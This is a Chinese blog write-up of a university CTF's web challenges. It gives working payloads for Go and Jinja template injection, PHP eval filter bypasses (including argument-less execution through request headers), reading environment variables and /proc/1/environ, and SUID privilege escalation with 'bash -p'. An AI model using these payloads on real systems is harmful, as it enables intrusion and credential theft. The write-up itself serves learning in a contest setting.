• HZNUCTF -- web


    HZNUCTF第五届校赛实践赛初赛 Web方向 WriteUp-CSDN博客

    ezssti

    下载文件


    访问 /login
    可由源代码中看到 Eval 函数 ,可以任意命令执行
    按照格式,可执行命令
    POST :name={{.Eval "env"}} 可以得到flag
    (尝试ls 只能列出当前目录,列不出根目录,无法cat ,所以尝试 env命令)

    真亦假,假亦真(HZNU版)

    eval($_POST[1]) 可以命令执行
    但是 cat /flag 会显示出一个假的flag
    尝试了特别久,找了很多目录文件都没有
    cat /*g 可以找到真的flag ,
    是做了一个类似前端的验证啥的,只要出现了 flag 或者 /f* 啥的就会返回那个假的的flag

    sql2login

    可能是题目有问题,直接注册账号再登陆就可以直接得到flag
    不需要sql注入

    suid

    1. highlight_file(__FILE__);// var_dump($_POST);if (isset($_POST["s_1.1"])) {
    2. echo "level 1"."
      "
      ;
    3. if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_POST['cmd'])) {
    4. if (!preg_match('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i', $_POST['cmd'])) {
    5. echo 'success!'.'
      '
      ;
    6. eval($_POST['cmd']);
    7. }
    8. }
    9. } else {
    10. echo "nonono 1";
    11. } nonono 1

    无参数函数进行命令执行
    抓包处理

    POST传参:
    s[1.1=&cmd=eval(pos(apache_request_headers()));

    bp抓包后构造一个请求头,放在第一个,名字随便
    比如:flag:system("");
    这样包裹了eval 就可以进行命令执行了

    解释:
    要传参 s_1.1 因为php特性的关系,正常传不了 点号 .
    ,需要特殊处理 ,[ 就被转换成 _ ,且后面的 点号 . 也可以正常传了
    所以 传参 s_1.1 写为 --> s[1.1

    apache_request_headers() : 会返回请求头的信息
    pos() : 会把第一个信息取出来回显
    eval() : 可将回显出来的信息当作代码执行

    但是这道题可以列出来目录,无法读取文件,没有权限,需要提权

    看了wp后,提权,只需要加上bash -p -c ,就可以拥有权限读取文件了

    1. 请求头:
    2. A: bash -p -c "cat /flag"
    3. 传参:
    4. cmd=system(current(array_reverse(getallheaders())));&s[1.1=1

    炼狱waf-S

    尝试好久,太菜了,一直绕不过去

    直接看wp学习:
    1、利用subprocess.Popen来执行命令

    {{[].__class__.__base__.__subclasses__()[351]('cat /proc/1/en*',shell=True,stdout=-1).communicate()[0].strip()}}

    2、直接利用引号拼接(非预期解)
    (我开始做的时候也是想拼接绕过来着,一直没成功,感觉应该是格式的问题,失败了几次也就直接放弃了,感觉不会这么简单的直接就是引号拼接)

  • 相关阅读:
    矩形脉冲波形的占空比及脉冲和瞬态特征的测量
    Java基础接口
    【MySQL系列】使用C语言连接MySQL
    Kotlin Sequence 是时候派上用场了
    解决阿里云ESC启动kube-proxy服务时出现错误 亲测有效
    17个 Python常见错误
    高精度地图定位在高速公路自动驾驶系统中的应用
    RISC-V 特权指令结构
    (多级缓存)多级缓存
    听GPT 讲Rust源代码--library/std(3)
  • 原文地址:https://blog.csdn.net/2302_80472909/article/details/138168308